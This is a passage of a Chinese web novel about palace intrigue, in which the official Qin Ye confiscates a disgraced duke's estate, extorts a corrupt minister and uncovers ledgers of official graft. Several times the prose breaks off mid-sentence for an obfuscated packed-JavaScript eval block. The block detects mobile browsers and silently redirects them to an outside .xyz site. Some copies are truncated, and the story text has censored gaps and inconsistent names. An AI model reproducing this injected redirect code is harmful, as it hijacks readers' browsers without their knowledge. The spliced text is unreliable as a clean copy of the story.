秦烨靠在柱子上，饶有兴致地看着这场争斗。朝堂之上，尔虞我诈，为了一个抄家的差事就闹得不可开交。这些人为了一己私利，连脸面都不要了。 【这些人还真是闲得慌。】秦烨打了个哈欠，目光扫过殿内众人，【端木正都已经**，还在这里争来争去。】 他瞥了眼龙座上的上官瑾，发现她眉头微蹙，显然这场争斗也让她有些头疼。那张倾城的容颜上浮现出一丝烦躁，让秦烨看得有些出神。 就在这时，一个尖锐的声音响起：“陛下，臣要**！” 众人循声望去，正是刚才那个被秦烨怼过的清流官。他站在殿中，手中的本子高高举起，一副义愤填膺的模样。 第八十一章 被**劾 “臣要**翰林院人秦烨，此人上朝迟到，不敬朝廷，更是倚靠柱子打盹，全无官员体统！这等行为，实在是有辱朝廷威严！” 秦烨睁开眼睛，看着这个不知死活的家伙，心中暗笑：【这不是自己往枪口上撞吗？】他站直身子，整了整衣冠，目光在那清流官身上扫过。 上官瑾的目光也投了过来，嘴角微微上扬：“秦爱卿，你可有话说？” 秦烨缓步走到殿中，声音懒散却带着几分玩味：“回陛下，臣昨夜为国事操劳到深夜，所以今早才来迟了。至于靠柱打盹，也是为了养精蓄锐，好为朝廷分忧。” 这番话说得冠冕堂皇，却又处处带着讽刺意味。那清流官气得脸色发青，手中的本子都快被捏碎了，却又无可奈何。 上官瑾轻笑一声，眼中闪过一丝趣味：“既如此，秦爱卿便说说，这抄家一事该如何处置？” 秦烨心中一动，知道这是上官瑾在给自己机会。他扫视了一圈殿内众臣，朗声道：“臣以为，抄家一事事关重大，不宜由单独一人主持。不如由大理寺、工部、民部三司会审，如此既能互相监督，又可避免有人中饱私囊。” 此言一出，张马临和韩明远的脸色都变了。他们没想到秦烨会提出这样的建议，这完全打乱了他们的计划。而上官瑾则是眼中闪过一丝赞许，显然对这个提议很是满意。 殿内气氛凝重，檀香袅袅升起，却驱散不了众臣心头的阴霾。 韩明远站在大殿之中，手心渗出细密的汗珠。他精心谋划的一切，竟被上司这般轻易破坏。殿内寂静得可怕，连呼吸声都清晰可闻。龙座之上的女帝上官瑾神色淡漠，纤长的手指轻轻敲击着扶手。 “陛下，臣有一言。” 突如其来的声音打破了沉寂。民部尚书**翔缓步而出，朝服整齐，面容肃穆。他拱手作揖，目光炯炯。 “端木正乃国公之尊，抄其家产非同小可。主事之人至少也该是一部尚书才合适。”**翔说着，目光若有若无地扫过张马临，又意味深长地瞥了眼韩明远，“工部张大人与端木正交好，不便出面。至于刘主事虽然正直，但官位太低，也不合适。” 他顿了顿，挺直腰背：“臣愿意担此重任。” 此言一出，殿内群臣纷纷附和，奉承之声不绝于耳。 “冯大人清正廉明，确实最适合不过。” “非冯大人莫属啊。” “朝中能担此重任者，唯有冯大人了。” 张马临站在人群中，听着这些阿谀奉承，眉头微皱。若只是与韩明远争夺这个位置，他还有几分把握。但**翔突然横插一脚，还得到了众臣支持，这事怕是不好办了。 他的目光在殿内游移，心中暗自盘算。若**翔查出什么不该查的东西，该如何疏通才好？那些见不得人的账本，那些私下的勾当……想到这里，他不禁攥紧了衣袖。 韩明远也是心头一沉。他在民部多年，一直压制着**翔。如今对方借此机会反击，若真让他抄了端木正的家，掌握了诸多把柄，那民部大权迟早要易主。 殿内的气氛愈发紧张，众臣的目光都集中在龙座之上。上官瑾看着群臣争抢，嘴角勾起一抹若有若无的笑意。 “诸位爱卿不必争了。”她的声音清冷悦耳，“此事朕已有合适人选。” 话音刚落，殿门吱呀一声开启。一名太监捧着明黄色的圣旨缓步而入，朱红色的绸带在殿内的微风中轻轻摆动。 群臣顿时噤若寒蝉，连呼吸都变得小心翼翼。 “天命所归君上旨意：即日起任命翰林院人秦烨，负责抄查端木**邸，钦此！” 殿内一片哗然，窃窃私语声此起彼伏。众臣面面相觑，显然没料到会是这样的结果。 秦烨从阴影处缓步而出，他神色平静，仿佛对这突如其来的任命早有准备。 “臣接旨。”他恭敬叩拜，声音沉稳有力。 张马临看着秦烨的背影，眼中闪过一丝精芒。这个突然冒出来的人物，倒是个变数。他开始在脑中盘算，该如何拉拢此人，或者……该如何制衡。 **翔却是双目喷火，胸口剧烈起伏。他苦心经营，本想借此机会在民部站稳脚跟，没想到半路杀出个程咬金。更让他恼火的是，对方不过是个六品官员，竟然就这样被委以重任。 “陛下！”**翔忍不住开口，声音中带着明显的不满，“此事恐怕不妥。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485410|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “哦？”上官瑾眉头微皱，语气中带着一丝危险的意味。 “秦烨不过六品官员，如何能抄查一位国公的府邸？这于情于理都说不过去。”**翔继续道，“况且此事关系重大，若有半点差池……” 秦烨闻言站起身来，转过身，目光如刀。“冯大人这是何意？莫非朝中就只有你一个清官，没了你大周就要**了不成？” “老夫只是为朝廷着想。”**翔脸色阴沉，手指微微颤抖。 “为朝廷着想？”秦烨冷哼一声，“圣旨都下了你还在这里纠缠不休，分明是在与圣上对着干！” 这话如同一记重锤，砸得**翔脸色铁青。对方这顶大帽子扣得可真够狠的。 “你一个内官出身的，又懂什么军国大事？”**翔咬牙切齿，已经顾不得什么体面。 “呵呵，本尊虽出身宫闱，但论忠心，某些外臣怕是远不及。”秦烨冷笑，字字带刺。 眼看二人争执不休，殿内气氛剑拔**张。上官瑾眸光一寒，周身散发出一股凛冽的威压。 “肃静！”太监的尖锐嗓音响彻大殿。 殿内顿时鸦雀无声，连窃窃私语都消失了。众臣低着头，大气都不敢出。 龙座之上，上官瑾的声音清冷而威严。 “六品官阶，确实不够资格主持此事。” 大殿内气氛凝重，文武百官屏息以待。秦烨站在朝班中央，衣袍整洁，神色从容。他的目光微垂，但眼底闪过一丝不易察觉的精芒。这一步，他早有预料。 殿内檀香袅袅，青玉地砖映照着文武百官的身影。**翔站在朝班前列，嘴角挂着若有若无的笑意。在他看来，这场博弈已经结束了。一个小小的六品官，如何能与他这个民部尚书抗衡？ “韩明远。” “臣在！” 韩明远快步上前，锦袍翩翩，脸上带着恰到好处的谄媚笑容。作为仪部侍郎，他深谙朝堂之道。虽然抄家主事官一职与他无缘，但只要**翔得不到，他就心满意足了。 “即刻提拔翰林院人秦烨为四品官阶。”上官瑾的声音不疾不徐，却让殿内众人心头一震。 “臣遵旨！” 第八十二章 众人巴结 文武百官面面相觑，没想到事情会有这样的转折。**翔的脸色瞬间阴沉下来，他死死盯着秦烨的背影，仿佛要将其刻进骨子里。 上官瑾美目流转，看向民部尚书**翔：“现在，资格应该足够了吧？” **翔强压怒火，躬身道：“臣不敢违抗圣意。” “退朝！” “臣等恭送陛下！” 群臣齐声高呼，待上官瑾离去，众人这才起身。大殿内顿时响起窃窃私语，不少人向秦烨投来或羡慕或嫉妒的目光。 韩明远凑到秦烨身边，压低声音道：“秦大人，恭喜高升啊！” “哈哈，为陛下效力罢了。”秦烨淡然一笑。他的目光不经意间扫过**翔，后者正与几名大臣低声交谈，时不时朝这边投来阴冷的目光。 离开大殿后，秦烨漫步在宫道上。青石板路两旁，凤仪园里的牡丹正值盛开，香气扑鼻。忽然，他听到身后传来脚步声。以他的武道修为，自然察觉到是**翔在跟着他。 走了约莫百步，身后传来**翔的声音：“秦大人，请留步。” 秦烨转身，看到**翔正站在一株老梅树下。阳光透过枝叶，在地上投下斑驳的影子。 “陈大人跟了我这么久，有何见教？”秦烨笑道。 **翔脸色一僵，没想到自己的跟踪这么明显。他很快调整情绪，踱步上前：“秦大人，老夫有几句话想说。端木**上的文书，想必会牵扯到不少朝中大员。这些东西对秦大人来说，既是烫手山芋，又难以发挥作用。” **翔的声音低沉，带着几分威胁的意味。 秦烨不动声色地打量着对方。**翔今年已有六旬，但精神矍铄，一双眼睛炯炯有神。他在朝中经营多年，手握重权，不知多少人对他俯首帖耳。 “不如我们合作。这些文书交给老夫处理，价钱好商量。”**翔循循善诚，“否则，这些东西在秦大人手中，恐怕会引来杀身之祸啊。” 秦烨心中冷笑。这**翔在朝堂摸爬滚打多年，却还是沉不住气。一个小小的抄家行动，就让他露出了马脚。 “冯大人说得有理。”秦烨故作沉思，“此事关系重大，容我考虑几日。” **翔眼中闪过不悦，但还是点头道：“好，老夫等着秦大人的回复。” 看着**翔离去的背影，秦烨若有所思。这次抄家行动，看来没那么简单。端木**上的文书，恐怕牵扯到了不少人的利益。 回到府邸，秦烨正要休息，却见管家匆匆赶来：“大人，外面有位自称是张府管事的人求见。” “张府？”秦烨眉头微皱，“请他进来。” 不多时，一个身着灰色长袍的中年人走了进来。他面容清瘦，眼神却十分锐利。 “在下张府管事钱忠，见过秦大人。”中年人拱手行礼。 “钱管事请坐。”秦烨示意他落座，“不知来访所为何事？” 钱忠从怀中取出一封信，双手递上：“这是我家王爷的亲笔信，请秦大人过目。” 秦烨接过信封，只见上面盖着张马临的私印。拆开一看，不由得眉头紧锁。 “赵管事，王爷这是什么意思？” 钱忠面色平静：“王爷说，端木**上的文书，事关重大。若是秦大人愿意配合，秦府必有重谢。” 秦烨将信放在桌上，淡淡道：“看来王爷也对这些文书很感兴趣啊。” “秦大人明鉴。”钱忠微微一笑，“王爷说，只要秦大人答应，这些银票就是您的了。” 说着，他从袖中取出一叠银票，整整齐齐地放在桌上。 秦烨扫了一眼，心中暗惊。这些银票加起来，至少有十万两。看来这些文书确实价值不菲，连张马临都坐不住了。 “替我谢过王爷好意。”秦烨起身，“不过此事事关重大，我需要好好考虑。” 钱忠也不强求，起身告辞：“那在下就先告退了。秦大人若是想通了，随时可以派人去张府找我。” 送走钱忠后，秦烨站在院中，看着满园的花木发呆。【短短一天，已经有两方势力来试探。这端木正的文书，究竟记载了什么秘密？】 第二日，秦烨漫步在金阙宫的青石板路上，初夏的阳光透过高大的宫墙洒落下来，在地面上投下斑驳的光影。远处传来太监们尖细的嗓音，宫女们轻盈的脚步声，一切都显得那么平静祥和。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493244|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 然而秦烨知道，这不过是表象。在这看似平静的宫墙之内，暗流涌动，杀机四伏。 “秦大人，工部尚书请您过府一叙。”一个小太监快步赶来，躬身行礼，声音恭敬中带着几分谄媚。 秦烨停下脚步，目光落在这个年轻太监身上。对方穿着月白色的小太监服饰，约莫十五六岁的年纪，脸上还带着些许稚气。 “张大人派你来的？”秦烨淡淡问道。 “是，是的。”小太监连连点头，“张大人说有要事相商，还请秦大人务必赏光。” 秦烨轻轻扬起嘴角，眼底闪过一丝讥诮。朝堂之上的那一幕还历历在目，这位张大人终于坐不住了。 想起之前那份触目惊心的奏疏，秦烨的眼神渐渐冷了下来。大旱之年，饿殍遍野，这位工部尚书张马临却以国库空虚为由，拒绝赈灾。那一年，不知有多少百姓含恨而终，多少家庭支离破碎。 “回去告诉张大人，想见我，让他亲自来。”秦烨语气平淡，却带着不容置疑的威严。 小太监愣在原地，眼中闪过一丝惊诧。【堂堂工部尚书，朝廷二品大员，竟要亲自来见一个太监？这……这未免太过失礼了吧？】 但看着秦烨那双平静中透着冰冷的眼睛，他不敢多言，连忙躬身退下。 消息传回张府，张马临正在书房中来回踱步。听闻秦烨的回复，他的脸色瞬间阴沉如水。 “放肆！”张马临重重拍了下桌案，茶盏震得跳了起来，“好个不知天高地厚的太监！” 站在一旁的管家小心翼翼道：“老爷，这秦烨虽然只是个太监，但如今……” “我知道！”张马临烦躁地挥了挥手，“端木正的事我都听说了。” 想到那位位高权重的国公如今的下场，张马临心中就升起一股寒意。短短数日，端木府被抄，端木正被打入大牢，甚至连他的家人都未能幸免。 而这一切，都是拜眼前这个太监所赐。 张马临深吸一口气，强迫自己冷静下来。眼下局势，由不得他不低头。那些见不得人的勾当若是被抖出来，别说官位，就连性命恐怕都保不住。 “备轿。”张马临咬牙道。 第八十三章 金钱交易 片刻后，在宫城一处僻静的角落。 “张大人来得好慢啊。”秦烨倚在一根朱漆廊柱上，脸上带着似笑非笑的表情，“时候不早了，我还要去抄家呢，有话快说。” 张马临强压怒火，挤了个苦笑：“秦公公，老夫年少时确有些过错，如今这些事不知怎的落入端木正之手。若他府上有什么记录……还请秦公公高抬贵手。” “张大人的意思是？”秦烨玩味地看着他。 “一万两银子，如何？” 秦烨冷笑一声：“一万两？打发叫花子呢？张大人这是看不起我啊。” “那秦公公要多少？”张马临咬牙问道。 “十万两。” 张马临倒吸一口凉气，但形势所迫，只得咬牙应下：“好，我给就是。” 秦烨点点头，忽然话锋一转：“张大人，我替那些饿死的百姓问你一句，当年为何说国库空虚，如今却能轻易拿出十万两？” 这句话如同一把利剑，直刺张马临心底最深的秘密。他的脸色瞬间变得煞白，额头渗出细密的汗珠。 “这是什么意思？”张马临强作镇定，“你我都是聪明人，拿了银子就别多管闲事。” “呵呵，看来十万两不够啊。”秦烨冷笑，“一百万两，这是新价码。” “你疯了！”张马临勃然大怒，“别以为拿住我的把柄就能为所欲为！我好歹也是朝廷重臣，岂是你一个……” 话未说完，秦烨猛地抓住张马临的肩膀，五指如铁钳般收紧。剧痛让张马临冷汗直冒，话音戛然而止。 “张大人，你晚上睡得安稽吗？”秦烨在他耳边低语，声音冰冷，“那些饿死的百姓，会不会来找你索命？你可知道，光是京畿一带，就有多少人因为你的一纸公文而死？” 张马临浑身颤抖，不知是因为疼痛还是恐惧。 “你……你敢威胁我？” “五万两，要么给，要么就和端木正作伴去吧。三日之内，我要见到银子。” 秦烨收手，转身离去的背影渐行渐远，留下张马临一人站在原地，肩膀隐隐作痛。 寒风呼啸，吹得他官服猎猎作响。张马临死死盯着秦烨消失的方向，脸上的表情扭曲得几近狰狞。他从未想过，自己堂堂朝廷重臣，竟会被一个小小的七品官威胁至此。 “该死！”张马临低声咒骂，右手紧握成拳，指甲深深陷入掌心。疼痛感却丝毫无法平息他内心的怒火。 张马临踱步良久，终于强迫自己冷静下来。现在不是意气用事的时候，秦烨手中握着抄家大权，若是一个不慎，不仅他要完蛋，背后那些人也会受到牵连。 “五万两……”张马临喃喃自语，眉头紧锁。这笔银子虽然不小，但只要能堵住秦烨的嘴，倒也值得。 他深吸一口气，整理了一下衣冠。“且让你得意一时。”冷哼一声，转身离去。 次日清晨，端木**邸外。 秦烨换上一身崭新的官服，腰间玉佩随风轻晃。他带着一队人马站在府门前，看着眼前这座气派的宅邸。偌大的府邸早已被上官瑾派来的禁军团团围住，一只鸟都飞不出去。 “这定远公府，果然气派。”秦烨轻声感叹，目光扫过那雕梁画栋的大门，“光是这座宅子，怕是就值个上万两银子。” “钱大人。”他转头看向身旁的工部主事钱有德。 钱有德连忙躬身：“秦大人有何吩咐？” “依你看，这端木府能抄出多少财物？”秦烨眯起眼睛问道。 钱有德沉吟片刻，小心翼翼地回答：“端木正世代为公，这些年又……”他欲言又止，看了看四周，压低声音继续道，“****的银子只怕不少。田产、珠宝、古董加起来，怎么也得值个百万两。” “百万两……”秦烨目光一闪，“开始吧。” 随着他一声令下，端木府大门轰然洞开。禁军分列两旁，刀枪寒光闪闪。 踏入府中，眼前庞大的建筑群让秦烨也不禁有些咋舌。这抄家工作，恐怕没那么容易。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493245|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把管家带上来。” 很快，一个戴着枷锁的老者被押到面前。那老者一见到秦烨，立刻扑通一声跪倒在地。 “大人饶命！小的什么都说！”管家声音颤抖，额头抵地。 秦烨居高临下地看着他：“端木正的赃物都藏在哪？” “在、在书房……”管家战战兢兢地回答。 秦烨挑了挑眉：“带路。” 穿过重重院落，来到端木正的书房前。推开那扇雕花木门的瞬间，秦烨愣住了。 眼前哪里是什么书房，分明是个金库！ 一排排书架上不是寻常的书籍，而是整整齐齐摆放的金条银砖。阳光从窗棂间洒落，映得满室生辉。 “这端木正倒是个妙人。”秦烨轻笑一声。 管家低着头解释道：“老爷常说，与其空谈书中黄金屋，不如直接把书房变成金库。” “有趣。”秦烨挥手让众人退下。 等人都退出去后，他仔细打量着这间特殊的“书房”。总觉得这里面还藏着什么秘密。 他在房间里来回踱步，翻看桌上堆积如山的文件，却一无所获。就在准备放弃时，一阵微风拂过脸庞。 秦烨浑身一震，警觉地环顾四周。 房门窗户都是紧闭的，这风是从哪来的？ 他闭上眼睛，仔细感受着气流的方向，在房间里缓缓移动。每到某个位置，那股微弱的气流就会出现。 “有意思……”秦烨眼中精光闪烁。 这种波动绝非寻常，必定是某处密室或暗道泄露出的气息。秦烨眯起眼睛，仔细打量着脚下的地板。整个地面铺着褐色的木板，表面光滑如镜，木纹清晰可见。 秦烨蹲下身，手指轻轻抚过木板表面。这种木材他也说不上来是什么品种，但其坚硬程度远超寻常，即便是用力按压也纹丝不动。 “端木正这老狐狸，处处都透着不寻常。”秦烨喃喃自语，作为江南大员，端木正在官场混迹多年，能有今天的地位，绝非偶然。 第八十四章 地下室 秦烨缓步在房间内游走，每一步都走得极为谨慎。房间并不大，约莫二十平方左右，但处处都透着精心布置的痕迹。墙上挂着几幅字画，笔力遒劲；案几上摆着文房四宝，一尘不染；就连那盆兰花，都显得格外雅致。 “装得倒是挺像那么回事。”秦烨冷笑一声，这些摆设无不彰显主人的清廉正直。但他清楚，这不过是端木正精心打造的表象罢了。 忽然，他的脚步顿住了。在一处不起眼的角落，有一块地板的颜色与周围略有不同。若是寻常人，恐怕根本注意不到这细微的差别。但在秦烨眼中，这里的磨损程度明显比其他地方要重。 “找到了。”他嘴角微扬，轻轻走到那块地板上。蹲下身，用手指轻轻叩击地面。“咚咚”声传来，明显是空心的。 秦烨站起身，目光在房间内扫视。这暗门的开启方式必定别具匠心，否则也不会这么多年都未被发现。他仔细检查四周，并未发现任何明显的机关痕迹。 正当他准备强行破开地板时，一个念头闪过。“等等……”他低头看着脚下那块磨损的地板，若有所思。为什么这里会磨损得如此厉害？ “原来如此！”秦烨眼前一亮。这磨损并非自然形成，而是人为踩踏的结果。他抬脚用力踩下，果然，地板随即下陷了一寸。 “咔嚓”一声轻响，机关启动。眼前的地板缓缓分开，露出一条向下的石阶。幽深的地道入口黑洞洞的，不知通向何处。潮湿的气息扑面而来，带着一股霉味。 秦烨取来油灯点燃，小心翼翼地沿着台阶走下去。石阶年代久远，表面已经被磨得发亮。每一步都要小心谨慎，生怕触动什么机关。 刚走了十几步，他耳朵一动。七星养气诀让他五感敏锐异常，瞬间捕捉到了机簧启动的细微声响。“不好！”几乎是本能反应，秦烨猛地一个侧身。 “嗖嗖嗖！”数十支利箭破空而来，擦身而过。箭矢钉在石壁上，发出清脆的声响。秦烨拍了拍胸口，冷汗直冒。“这老狐狸，还真是处处设防啊。” 经过这一惊，他更加谨慎了。借着油灯的光芒，仔细观察地面，发现了一些规律。端木正每次出入，必定都是走固定的路线。日积月累下来，那些安全的地方都留下了明显的足迹。 “有意思。”秦烨顺着这些足迹前行，果然再没遇到任何机关。地道并不长，约莫走了百步左右，前方出现了一堵石壁。地上的足迹到此为止。 秦烨举起油灯，仔细打量着石壁。表面光滑，没有任何缝隙。但在靠近右侧的位置，他发现了一个小孔。形状和他之前搜查收房时找到的青铜钥匙一模一样。 “就是这里了。”他掏出钥匙，插了进去。“咔嚓”一声，石门应声而开。一股混合着纸墨香气的空气扑面而来。 随着他走入，室内的油灯自动亮起。灯火通明之下，这是一间布置精致的地下书房。除了书架外，还有床榻和大量的粮食物资。显然是为了长期躲藏准备的。 但秦烨的注意力全在那些书架上。准确地说，是书架上那些账本。每本账本上都写着大周朝官员的名字和官职。他随手翻开一本，不由倒吸一口凉气。 里面详细记载了那些官员如何勾结贪腐的证据。从银两数目到交易时间，事无巨细，令人触目惊心。“这端木正，倒是个明白人。”秦烨冷笑。这些罪证就是他的保命符。 忽然，一个熟悉的名字映入眼帘。工部尚书张马临！秦烨神色一凛，取下那本厚厚的账本。 秦烨翻看着手中的账册，眉头越皱越紧。烛光在他脸上投下明暗不定的阴影，映照出他阴沉的神色。 一笔笔数额惊人的**记录，触目惊心。每一页都写满了端木正这些年来的罪证，光是这一本账册上记载的赃款就超过十万两白银。 “这两个混账东西！”他重重拍了下大腿，指节因用力而发白。 账册上记载的不仅是冰冷的数字，更是一条条鲜活的生命。那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498102|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些因为官员**而活活饿死的百姓，那些因为无力缴纳苛捐杂税而家破人亡的黎民……每一笔都是血淋淋的罪证。 秦烨的手在微微发抖，他能想象得到，在这些冷冰冰的数字背后，有多少百姓在寒风中瑟瑟发抖，有多少孩子因饥饿而夭折。 密室内光线昏暗，只有一盏油灯在桌上摇曳。秦烨抬头望向书架，密密麻麻的账册几乎要将整面墙占满。每一本都记载着贪官污吏中饱私囊的罪证，每一页都写满了大周百姓的血泪。 “难怪上官瑾治理国家如此艰难。”秦烨冷笑一声，声音里带着深深的讽刺，“朝廷上下都是这等蛀虫，江山社稷又如何能稳固？” 他的目光在昏暗的密室中游走，突然被书桌上的一个精致匣子吸引。这匣子通体乌黑，雕工精细，层层包裹，足足有七八重之多。如此严密的保护，显然藏着不同寻常的东西。 秦烨眯起眼睛，小心翼翼地打开每一层。匣子表面略显陈旧，但依然能看出当初制作时的用心。每一层都有精巧的机关，若是不知门道，轻易打不开。 最里面是一封泛黄的信件，还有一枚玉牌。玉质温润，显然是上等的和田玉。 玉牌正面刻着“卧虎藏峰”四个大字，笔力遒劲，一看就是出自名家之手。背面则是一副对联：“龙潜海角恐惊天，暂且偷闲跃在渊！” “有意思。”秦烨轻笑一声，拿起那封信。信封已经泛黄，但纸质依然完好，显然经过特殊处理。 信封上写着：“当你拆这封信时，我端木正想必已经不在人世。这里的一切，也该公之于众了。” “这老狐狸……”秦烨冷笑，眼中闪过一丝寒意，“是想死也要拉几个垫背的啊。” 他展开信纸，第一行字便让他瞳孔一缩：“这个秘密，只有我死后才能公开。那是大周新皇上官煜登基之初……” 就在这时，外面传来钱有德焦急的呼喊声：“秦公公！秦公公可在里面？” 第八十五章 全部上缴国库 虽然隔着密室和密道，声音已经很微弱，但秦烨还是听得一清二楚。他迅速将信件收好，心中暗自盘算着今晚再来一探究竟。 “这钱有德，倒是尽职尽责。”秦烨将信件和玉牌重新放回匣子，快步离开密室。 他仔细检查了一遍书房，确保一切如常后才打开房门。钱有德正在外面来回踱步，见到秦烨顿时松了口气。 “秦公公！”钱有德如释重负，额头上还带着细密的汗珠，“您在里面这么久不出声，可吓死小人了。” “无妨。”秦烨淡淡一笑，目光扫过钱有德紧张的神色，“清点得如何了？” “管家那边已经造好了详细清单。”钱有德凑近压低声音，“白银太多根本数不尽，黄金三万有余，珠宝字画更是不计其数。秦公公，这些银两……” “全部上缴国库。”秦烨斩钉截铁道，眼神坚定。 钱有德一愣，随即露出敬佩之色：“秦公公清正廉洁，小人佩服！” 正说着，远处传来阵阵哭声，凄厉悲凉，在寂静的夜色中格外刺耳。 “那是？”秦烨皱眉。 “端木府的家眷，正等候发落。”钱有德解释道，“都关在前院偏厅里。” 秦烨走近一看，十几个锦衣华服的妇人正在抹泪。见他来了，纷纷跪地求饶。有的拍打着地面痛哭，有的抱着孩子哀求，场面一时混乱不堪。 “大人开恩啊！” “求您饶了孩子吧！” “我们什么都不知道啊！” 几个年轻貌美的小妾更是频频抛媚眼，妄图博取同情。她们的衣着华丽，妆容精致，显然没有意识到眼前的处境有多严重。 唯有端木川，那个在玉华阁见过的青年，正用怨毒的目光死死盯着秦烨。他的衣衫有些凌乱，但依然掩饰不住骨子里的傲慢。 若不是这个该死的太监，父亲也不会落得如此下场……端木川咬牙切齿，眼中的恨意几乎要化作实质。 秦烨视若无睹，转身吩咐钱有德：“按律处置。” “是！”钱有德领命，立即招呼衙役上前。 “不要！求求您……” “大人饶命啊！” 哭喊声此起彼伏，但秦烨已经转身离开。他负手而立，目光深邃。这端木正的案子，恐怕还有更多不为人知的内情。那封信里提到的秘密，又会是什么？ 夜色渐深，府邸内灯火通明。衙役们正在清点财物，不时有马车驶入驶出，将查抄的赃物运往指定地点。 秦烨站在二楼廊下，看着忙碌的场景。端木正一案，表面上已经告一段落，但他总觉得这只是个开始。那封神秘的信件，那枚刻着“卧虎藏峰”的玉牌，无不预示着更大的秘密。 “秦公公。”钱有德快步走来，“端木府上下已经清点完毕，是否需要……” “你先去休息吧。”秦烨打断他的话，“明日还要处理后续事宜。” “是。”钱有德躬身退下。 秦烨望着渐渐暗淡的天色，心中已有计较。今晚，他一定要看完那封信，但现在，还是要稳住局面，不能打草惊蛇。 秦明川被带走时，回头狠狠瞪了秦烨一眼。那眼神中的恨意，让秦烨微微眯起眼睛。这个年轻人，恐怕不会善罢甘休。 夜色如墨，笼罩着整个汴城。街道上寂静无声，只有零星的更夫打更声在远处回荡。 秦烨缓步走出端木正的府邸，冷风吹过，衣袍轻轻摆动。他站在府门前，目光在四周阴影处缓缓扫过。黑暗中，十几道人影若隐若现，他们藏在各个角落，试图掩饰自己的存在。 “呵。”秦烨轻笑一声，眼中闪过讥讽。这些人中，有工部尚书张马临的眼线，也有民部尚书**翔派来的探子。他们像是饿狼盯着猎物般，等着看这场抄家的结果。 夜风中传来窸窸窣窣的脚步声，一个黑影悄然靠近府门。那人探头张望了几下，见四下无人注意，便快步走向不远处的巷口。 秦烨眯起眼睛，看着那道身影消失在黑暗中。他知道，这些探子很快就会把消息传回各自的主子那里。 “跑得倒是挺快。”他低声自语，嘴角勾起一抹冷笑。 不多时，藏在暗处的人影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498103|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆续散去。他们打探到的消息恐怕会让主子们大失所望——这次抄家，秦烨分文未取，滴水不沾。别说**，就连一根银针都没碰。 寒风呼啸，吹得街边的灯笼摇曳不定。秦烨整了整衣襟，转身朝宫城方向走去。 路上行人寥寥，偶尔遇到几个巡夜的禁军，看到秦烨的官服，都恭敬地行礼让道。 “大人。”一个年轻的禁军低头行礼。 秦烨点头示意，继续向前走去。 守门的禁军认出秦烨，立即打开宫门放行。走进宫城，四周一片静谧，只有脚下的青石板发出轻微的响声。 承明殿前，两排宫灯散发着柔和的光芒。推开殿门，一股暖意扑面而来，驱散了身上的寒意。 上官瑾正坐在御案后批阅奏章，烛光映照着她精致的侧颜。听到脚步声，她头也不抬，只是轻声道：“回来了。” “是。”秦烨走到殿中站定，目光落在案上堆积如山的奏章上。 殿内一时陷入沉默，只有朱笔在纸上书写的沙沙声。良久，上官瑾才放下手中的朱笔，抬起头看向秦烨：“查出来了？” 秦烨注意到她眼中暗含的期待，点头道：“御医署的赵马康。” “哦？”上官瑾微微挑眉，“你如何确定？” “除了御医署，还能有谁？”秦烨缓步上前，“能在宫中下毒的，也就这么几个地方。而且，赵马康最近的举动很是可疑。” “说说看。”上官瑾来了兴趣，示意秦烨继续。 秦烨沉声道：“赵马康这半个月来，每次进宫都会带着一个特制的药箱。按理说，太医给陛下看诊，用不着那么多药物。而且……” 他顿了顿，眼中闪过一丝寒意：“我派人暗中查过，那药箱的夹层里，藏着一些见血封喉的剧毒。” 上官瑾眼中寒芒一闪：“你确定？” 